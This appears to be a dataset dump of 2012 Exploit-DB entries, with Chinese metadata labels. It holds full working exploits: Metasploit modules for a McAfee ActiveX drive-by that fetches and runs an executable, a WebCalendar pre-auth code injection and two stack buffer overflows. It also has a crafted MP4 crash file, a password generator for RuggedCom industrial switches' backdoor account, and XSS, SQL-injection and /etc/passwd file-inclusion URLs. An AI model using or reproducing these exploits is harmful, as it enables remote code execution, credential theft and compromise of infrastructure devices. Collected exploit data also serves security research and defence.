QLWD/code_shield huggingface dataset:
标题: McAfee Virtual Technician MVTControl 6.3.0.1911 - GetObject (Metasploit) EDB-ID: 18812 CVE: 2012-4598 类型: REMOTE 平台: WINDOWS 发布日期: 2012-05-01 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info={})
  super(update_info(info,
   'Name'           => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",
   'Description'    => %q{
     This modules exploits a vulnerability found in McAfee Virtual Technician's
    MVTControl.  This ActiveX control can be abused by using the GetObject() function
    to load additional unsafe classes such as WScript.Shell, therefore allowing remote
    code execution under the context of the user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'rgod',   #Initial discovery, Poc
     'sinn3r'  #Metasploit
    ],
   'References'     =>
    [
     [ 'EDB', '18805' ]
    ],
   'Payload'        =>
    {
     'BadChars'        => "\x00",
    },
   'DefaultOptions'  =>
    {
     'ExitFunction'         => "none",
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {} ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Apr 30 2012",
   'DefaultTarget'  => 0))
 end

 def exploit
  @payload_name = rand_text_alpha(rand(6) + 5) + ".exe"
  super
 end

 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']

  if agent !~ /MSIE \d/
   print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
   send_not_found(cli)
   return
  end

  if request.uri =~ /\.exe$/
   return if ((p=regenerate_payload(cli))==nil)
   data = generate_payload_exe({:code=>p.encoded})
   print_status("Sending payload")
   send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
   return
  end

  # <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj'></object>
  js = <<-JS
  var obj = new ActiveXObject("MVT.MVTControl.6300");

  var ws  = obj.GetObject("WScript.Shell");
  var ado = obj.GetObject("ADODB.Stream");
  var e   = ws.Environment("Process");
  var url = document.location + "/#{@payload_name}";
  var tmp = e.Item("TEMP") + "\\\\#{@payload_name}";

  var xml = new ActiveXObject("Microsoft.XMLHTTP");
  xml.open("GET", url, false);
  xml.send(null);
  res = xml.responseBody;

  ado.Type = 1;
  ado.Mode = 3;
  ado.Open();
  ado.Write(res);
  ado.SaveToFile(tmp);
  ws.Run(tmp, 0);
  JS

  js = ::Rex::Exploitation::JSObfu.new(js)
  js.obfuscate

  html = <<-EOS
  <html>
  <head>
  </head>
  <body>
  <script defer=defer>
  #{js}
  </script>
  </body>
  </html>
  EOS

  print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
  send_response(cli, html, {'Content-Type'=>'text/html'})

 end

end URL: https://www.exploit-db.com/exploits/18812
标题: WordPress Plugin Zingiri Web Shop 2.4.0 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 18787 CVE: 2012-6506 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-26 漏洞利用脚本: ##############################################################################
Wordpress Zingiri Web Shop Plugin <= 2.4.0 Multiple XSS Vulnerabilities

author...............: Mehmet Ince
twitte...............: https://twitter.com/#!/mmetince
mail.................: mehmet.ince@bga.com.tr
software link........: http://www.zingiri.com
affected versions....: tested on 2.3.0 and 2.4.0
# Exploit Title: Wordpress Zingiri Web Shop Plugin <= 2.4.0 Multiple XSS
Vulnerabilities
# Google Dork:
# Date: 26 Apr 2012
# Author: Mehmet INCE
# Software Link:
http://downloads.wordpress.org/plugin/zingiri-web-shop.2.4.0.zip
# Version: 2.4.0 and older.
# Tested on: version of 2.3.0 and 2.4.0 with Ubuntu 11.10 Server with
Firefox browser.
##############################################################################
/*
## BASIC XSS
PS: Exploitable without Authentication

plugins/zingiri-web-shop/zing.inc.php

line at 401.

if ($process=='content' && $page!='ajax' && $page!='downldr') echo '<div
class="zing_ws_page" id="zing_ws_'.$_GET['page'].'">';

Exploit:
http://localhost/wordpress/?page=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

'page' variable isn't properly sanitized before being used.


## STORED XSS
PS: Attacker should be logged for exploit.
./fws/pages-front/onecheckout.php

line 27-29
if (!empty($_POST['notes'])) {
$notes=$_POST['notes'];
}

and line 348
<textarea name="notes" rows="5" style="width: 100%"><?php echo
$notes;?>&lt;/textarea&gt;<br />

'notes' variable isn't properly sanitized before being used.

That's very basic XSS vulnerabilities. But you dont need use fishing attack
to target webpage's administrator. That application insert datas to
database with that form. After your malicious code posted up, your
javascrip code inserted to database with $_POST['notes'] variable. When
administrator wanna see list of ordered items list. Javascript codes will
come from database and start working on Authenticated admin user side.
After that You can use browser keylogger with BT5 tools or can usee cookie
grabber.
*/

step 1: Login to wordpress.

step 2: Go to "Shop" menu. It's should be stay at banner.

http://6.6.6.102/wordpress/?page_id=14

step 3: Than you'll see list ot items. Click one of them.

http://6.6.6.102/wordpress/?page=details&prod=2&cat=1&page_id=14

step 4: You can pass that form action. That wont be problem..! Click to
"Order" button.

step 5: There is confirmation about the Shopping. Click "checkout" to pass
that page.

step 6: It's final stage. Put you javascript payload to "Additional
comments/questions" form. After you click checkout button, that form will
get all of these input data with POST method.

step 7: Click to "Checkout" URL: https://www.exploit-db.com/exploits/18787
标题: Nokia PC Suite Video Manager 7.1.180.64 - '.mp4' Denial of Service EDB-ID: 18795 CVE: 2012-2442 类型: DOS 平台: WINDOWS 发布日期: 2012-04-27 漏洞利用脚本: ###########################################################################################################
Application : Nokia PC Suite Video Manager DoS 
Versions : <= 7.1.180.64 
Date : Friday, April 27,2012
Auther : Senator of Pirates
E-Mail : SenatorofPirates.info@gmail.com
FaceBook : /SenatorofPiratesInfo
Greetz : i greet to my best friends and every moroccan
###########################################################################################################

PoC :
-----
Data = ("\x00\x00\x00\x1c\x66\x74\x79\x70\x6d\x70\x34\x32\x00\x00\x00\x00\x69\x73\x6f\x6d\x61\x76\x63\x31\x6d\x70\x34\x32\x00\x01\x19\x28"
"\x6d\x6f\x6f\x76\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xc7\x21\xfc\x5b\xc7\x21\xfc\x5b\x00\x00\x02\x58\x00\x02\x22\xa8"
"\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x15\x69\x6f\x64\x73\x00\x00\x00\x00\x10\x07\x00\x4f"
"\xff\xff\x29\x15\xff\x00\x00\xa5\xe5\x74\x72\x61\x6b\x00\x00\x00\x5c\x74\x6b\x68\x64\x00\x00\x00\x01\xc7\x21\xfc\x5b\xc7\x21\xfc"
"\x5b\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x22\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00"
"\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\xa5\x81\x6d\x64\x69\x61\x00\x00\x00\x20\x6d\x64\x68\x64\x00\x00\x00\x00\xc7\x21\xfc"
"\x5b\xc7\x21\xfc\x5b\x00\x00\xac\x44\x00\x9c\xf0\x00\x55\xc4\x00\x00\x00\x00\x00\x42\x68\x64\x6c\x72\x00\x00\x00\x00\x00\x00\x00"
"\x00\x73\x6f\x75\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x43\x29\x20\x32\x30\x30\x37\x20\x47\x6f\x6f\x67\x6c\x65"
"\x20\x49\x6e\x63\x2e\x20\x76\x30\x38\x2e\x31\x33\x2e\x32\x30\x30\x37\x2e\x00\x00\x00\xa5\x17\x6d\x69\x6e\x66\x00\x00\x00\x10\x73"
"\x6d\x68\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x64\x69\x6e\x66\x00\x00\x00\x1c\x64\x72\x65\x66\x00\x00\x00\x00\x00"
"\x00\x00\x01\x00\x00\x00\x0c\x75\x72\x6c\x20\x00\x00\x00\x01\x00\x00\xa4\xdb\x73\x74\x62\x6c\x00\x00\x00\x5b\x73\x74\x73\x64\x00"
"\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x4b\x6d\x70\x34\x61\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x10\x00\x00\x00\x00\xac\x44\x00\x00\x00\x00\x00\x27\x65\x73\x64\x73\x00\x00\x00\x00\x03\x19\x00\x00\x00\x04\x11\x40\x15"
"\x00\x01\xe6\x00\x02\x2d\x38\x00\x01\xcd\x28\x05\x02\x12\x10\x06\x01\x02\x00\x00\x00\x18\x73\x74\x74\x73\x00\x00\x00\x00\x00\x00"
"\x00\x01\x00\x00\x27\x3c\x00\x00\x04\x00\x00\x00\x00\x28\x73\x74\x73\x63\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00");


avi = open('poc.mp4', 'wb+')
avi.write(Data)
    
avi.close() URL: https://www.exploit-db.com/exploits/18795
标题: CPE17 Autorun Killer 1.7.1 - Local Stack Buffer Overflow (Metasploit) EDB-ID: 18792 CVE: 2012-4054 类型: LOCAL 平台: WINDOWS 发布日期: 2012-04-27 漏洞利用脚本: #
# CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow exploit
# by Xelenonz

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

      include Msf::Exploit::FILEFORMAT

      def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow exploit',
                        'Description'    => %q{
                                        readfile function is vulnerable it can be overflow  
                                             },
                        'Author'         => [ 'Xelenonz' ],
                        'Version'        => '0.1',
                        
                        'Payload'        =>
                                {
                                        'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' => {'BufferRegister'=>'ECX'},
                                },
   'DefaultOptions' =>
                    {
                       'DisablePayloadHandler' => 'true',
                    },
                        'Platform'       => 'windows',

                        'Targets'        =>
                                [
                                        [
                                         'Windows XP SP3',
                                            {  'Ret' => 0x775a676f, 
                                             'Offset' => 500 
                                            } 
                                       ],
                                      
                                ],
                        'DefaultTarget' => 0,

                        'Privileged'     => false
                        ))

                        register_options(
                        [
                         OptString.new('FILENAME',   [ true, 'The file name.',  'autorun.inf']),
                        ], self.class)
       end

       def exploit
          print_status("Encoding Payload ...")
          enc = framework.encoders.create("x86/alpha_mixed")
    enc.datastore.import_options_from_hash( {'BufferRegister'=>'ESP'} )
    hunter = enc.encode(payload.encoded, nil, nil, platform)
    buffer = ""
          buffer << "A"*target['Offset'] # padding offset
          buffer << [target.ret].pack('V') # jmp esp
          buffer << hunter # shellcode
          print_status("Creating '#{datastore['FILENAME']}' file ...")
          file_create(buffer)
          print_status("Plug flashdrive to victim's computer")
          handler
          
       end
end URL: https://www.exploit-db.com/exploits/18792
标题: RuggedCom Devices - Backdoor Access EDB-ID: 18779 CVE: 2012-2441 2012-1803 类型: REMOTE 平台: HARDWARE 发布日期: 2012-04-24 漏洞利用脚本: Title: Undocumented Backdoor Access to RuggedCom Devices
Author: jc
Organization: JC CREW
Date: April 23, 2012
CVE: CVE-2012-1803

Background:
RuggedCom is one of a handful of networking vendors who capitalize on
the market for "Industrial Strength" and "Hardened" networking
equipment. You'll find their gear installed in traffic control
systems, railroad communications systems, power plants, electrical
substations, and even US military sites. Beyond simple L2 and L3
networking these devices are also used for serial-to-ip converstion in
SCADA systems and they even support modbus and dnp3. RuggedCom
published a handy guide to some of their larger customers at
www.ruggedcom.com/about/customers/. My favorite quote is from a
contractor who installed RuggedCom equipment at a US Air Force base:
"Reliability was not an option." How unfortunately apropos.

Problem:
An undocumented backdoor account exists within all released versions
of RuggedCom's Rugged Operating System (ROS®). The username for the
account, which cannot be disabled, is "factory" and its password is
dynamically generated based on the device's MAC address. Multiple
attempts have been made in the past 12 months to have this backdoor
removed and customers notified.

Exploit:
#!/usr/bin/perl
if (! defined $ARGV[0]) {
print "+========================================== \n";
print "+ RuggedCom ROS Backdoor Password Generator \n";
print "+ JC CREW April 23 2012 \n";
print "+ Usage:\n$0 macaddress \n";
print "+========================================== \n";
exit; }
$a = $ARGV[0];
$a =~ s/[^A-F0-9]+//simg;
@b = reverse split /(\S{2})/,$a;
$c = join "", @b;
$c .= "0000";
$d = hex($c) % 999999929;
print "$d\n";

Example usage:
Given a RuggedCom device with MAC address 00-0A-DC-00-00-00, run some
perl and learn that the password for "factory" is 60644375.

[jc (at) pig (dot) aids [email concealed] ros]$ ./ruggedfail.pl 00-0A-DC-00-00-00
60644375
[jc (at) pig (dot) aids [email concealed] ros]$

Shoutouts:
CERT/CC for doing great work in trying to get vendors to actually fix things.
JC CREW

Timeline:
Apr 2011 - Vendor notified directly
Jul 2011 - Vendor verbally acknowledges knowledge of backdoor,
and ceases communication.
Feb 11 2012 - US-CERT notified
Mar 12 2012 - Vendor responds to US-CERT.
Apr 06 2012 - Due to lack of further contact by vendor, CERT sets
public disclosure for April 13 2012
Apr 10 2012 - Vendor states they need another three weeks to alert
their customers, but not fix the vulnerability.
Apr 11 2012 - Clarification requested regarding need for additional three weeks.
Apr 23 2012 - No response from vendor.
Apr 23 2012 - This disclosure.

Keywords:
RuggedCom
ROS
RuggedSwitch
RuggedServer
backdoor URL: https://www.exploit-db.com/exploits/18779
标题: PHP Volunteer management 1.0.2 - Multiple Vulnerabilities EDB-ID: 18788 CVE: 2012-6505 2012-6504 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-26 漏洞利用脚本: # Exploit Title: PHP Volunteer Management 'id' 1.0.2 Multiple Vulnerabilities
# Date: 04/21/12
# Author: G13
# Twitter: @g13net
# Software Site: https://sourceforge.net/projects/phpvolunteer/
# Version: 1.0.2
# Category: webapp (php)
#

##### ToC #####

0x01 Description
0x02 XSS
0x03 SQL Injection
0x04 Vendor Notification

##### 0x01 Description #####

This is a PHP Volunteer Management software. Keep track of Volunteer
hours worked and location assignments. This system is built on
PHP/MySql.

##### 0x02 XSS #####

---------------Vulnerability-------------------

The 'id' parameter on the get_hours.php page is vulnerable to XSS.  No
authentication is needed.  This is a reflective XSS vulnerability.

----------Exploit-----------------------------------

http://localhost/mods/hours/data/get_hours.php?id=[XSS]&take=10&skip=0&page=1&pageSize=10

------------PoC---------------------------

http://localhost/mods/hours/data/get_hours.php?id=%27%22%3Cscript%3Ealert%281%29;%3C/script%3E&take=10&skip=0&page=1&pageSize=10

##### 0x03 SQL Injection #####

---------------Vulnerability-------------------

The 'id' parameter on the get_hours.php page is also vulnerable to SQL
Injection.  No authentication is needed.

----------Exploit-----------------------------------

http://localhost/mods/hours/data/get_hours.php?id=[SQLi]&take=10&skip=0&page=1&pageSize=10

------------PoC---------------------------

http://localhost/mods/hours/data/get_hours.php?id=1%27%20AND%20SLEEP%285%29%20AND%20%27BDzu%27=%27BDzu&take=10&skip=0&page=1&pageSize=10

##### 0x04 Vendor Notification #####

4/21/12 - Vendor Notified
4/24/12 - Vendor reponded, OK to Disclose URL: https://www.exploit-db.com/exploits/18788
标题: WebCalendar 1.2.4 - Remote Code Injection (Metasploit) EDB-ID: 18797 CVE: 2012-1495 类型: WEBAPPS 平台: LINUX 发布日期: 2012-04-29 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "WebCalendar 1.2.4 Pre-Auth Remote Code Injection",
   'Description'    => %q{
     This modules exploits a vulnerability found in WebCalendar, version 1.2.4 or
    less.  If not removed, the settings.php script meant for installation can be
    update by an attacker, and then inject code in it.  This allows arbitrary code
    execution as www-data.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'EgiX',   #Initial discovery & PoC
     'sinn3r'  #Metasploit
    ],
   'References'     =>
    [
     ['CVE', '2012-1495'],
     ['URL', '18775']
    ],
   'Arch'           => ARCH_CMD,
   'Platform'       => ['unix', 'linux'],
   'Compat'         =>
    {
     'PayloadType' => 'cmd'
    },
   'Targets'        =>
    [
     ['WebCalendar 1.2.4 on Linux', {}],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Apr 23 2012",
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('TARGETURI', [true, 'The URI path to webcalendar', '/WebCalendar-1.2.4/'])
    ], self.class)
 end

 def check
  uri = target_uri.path
  uri << '/' if uri[-1, 1] != '/'

  res = send_request_raw({
   'method' => 'GET',
   'uri'    => "#{uri}/login.php"
  })

  if res and res.body =~ /WebCalendar v1.2.\d/
   return Exploit::CheckCode::Vulnerable
  else
   return Exploit::CheckCode::Safe
  end
 end


 def exploit
  peer = "#{rhost}:#{rport}"

  uri = target_uri.path
  uri << '/' if uri[-1, 1] != '/'

  print_status("#{peer} - Housing php payload...")

  # Allow commands to be passed as a header.
  # We use 'data' instead of 'vars_post to avoid the MSF API escapeing our stuff.
  post_data  = "app_settings=1"
  post_data << "&form_user_inc=user.php"
  post_data << "&form_single_user_login=*/print(____);passthru(base64_decode($_SERVER[HTTP_CMD]));die;"
  post_data << "\n"*2
  send_request_cgi({
   'method'    => 'POST',
   'uri'       => "#{uri}install/index.php",
   'data'      => post_data
  })

  print_status("#{peer} - Loading our payload...")

  # Execute our payload
  send_request_raw({
   'method' => 'GET',
   'uri'    => "#{uri}includes/settings.php",
   'headers' => {
    'Cmd' => Rex::Text.encode_base64(payload.encoded)
   }
  })

  handler
 end
end URL: https://www.exploit-db.com/exploits/18797
标题: Shadow Stream Recorder 3.0.1.7 - Local Buffer Overflow (Metasploit) EDB-ID: 18781 CVE: 2009-1642 类型: LOCAL 平台: WINDOWS 发布日期: 2012-04-25 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'            => 'Shadow Stream Recorder 3.0.1.7 Buffer Overflow',
   'Description'     => %q{
    This module exploits a buffer overflow in Shadow Stream Recorder 3.0.1.7.
    Using the application to open a specially crafted asx file, a buffer
    overflow may occur to allow arbitrary code execution under the context
    of the user.
   },
   'License'         => MSF_LICENSE,
   'Author'          =>
    [
     'AlpHaNiX <alpha[at]hacker.bz>',  # Original .m3u exploit
     'b0telh0 <me[at]gotgeek.com.br>'  # MSF Module and .asx exploit
    ],
   'References'      =>
    [
     [ 'BID', '34864' ],
     [ 'EDB', '11957' ]
    ],
   'DefaultOptions'  =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true'
    },
   'Platform'        => 'win',
   'Payload'         =>
    {
     'Space' => 2000,
     'BadChars' => "\x00\x09\x0a",
     'StackAdjustment' => -3500
    },
   'Targets'         =>
    [
     [ 'Windows Universal',
      {
       # push esp - ret ssrfilter03.dll
       'Ret' => 0x10035706,
       'Offset' => 26117
      }
     ],
    ],
   'Privileged'      => false,
   'DisclosureDate'  => 'Mar 29 2010',
   'DefaultTarget'   => 0))

  register_options(
   [
    OptString.new('FILENAME', [true, 'The file name.', 'msf.asx'])
   ], self.class)

 end

 def exploit

  buffer = "http://"
  buffer << rand_text_alpha_upper(target['Offset'])
  buffer << [target.ret].pack('V')
  buffer << make_nops(40)
  buffer << payload.encoded

  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(buffer)
 end

end URL: https://www.exploit-db.com/exploits/18781
标题: vTiger CRM 5.1.0 - Local File Inclusion EDB-ID: 18770 CVE: 2012-4867 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-22 漏洞利用脚本: # Exploit Title: VTiger CRM
# Google Dork: None
# Date: 20/03/2012
# Author: Pi3rrot
# Software Link: http://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%205.1.0/
# Version: 5.1.0
# Tested on: CentOS 6
# CVE : none

We have find this vulnerabilitie in VTiger 5.1.0
In this example, you can see a Local file Inclusion in the file sortfieldsjson.php

Try this :
https://localhost/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/18770